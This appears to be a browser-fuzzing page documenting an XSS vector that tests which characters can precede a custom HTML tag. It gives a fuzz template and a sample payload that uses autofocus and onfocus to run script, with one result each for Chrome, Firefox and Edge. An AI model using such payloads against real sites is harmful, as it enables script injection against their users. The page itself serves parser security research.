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Characters before custom tag

Edge logo 1
Chrome logo 1
Firefox logo 1

Vector to test what characters are allowed in a custom HTML tag

Created by: s3np41k1r1t0

Created on: Monday, June 23, 2025 at 10:07:14 AM

Updated on: Monday, June 23, 2025 at 10:07:14 AM


Detecting browser...

Category: HTML Parsing

Vector visibility: Public

Vector type: XSS

Vector charset: UTF-8

Template used:
<$[chr]xss autofocus tabindex=1 onfocus=log($[i])></xss>

Sample payloads

<0x00xss autofocus tabindex=1 onfocus=alert(0)></xss>

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7

Updated

Sun Jan 25 2026
Found 1 result
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Firefox logo
Firefox 147.0 desktop macOS 10.15

Updated

Sun Jan 25 2026
Found 1 result
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Edge logo
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0

Updated

Mon Jan 26 2026
Found 1 result
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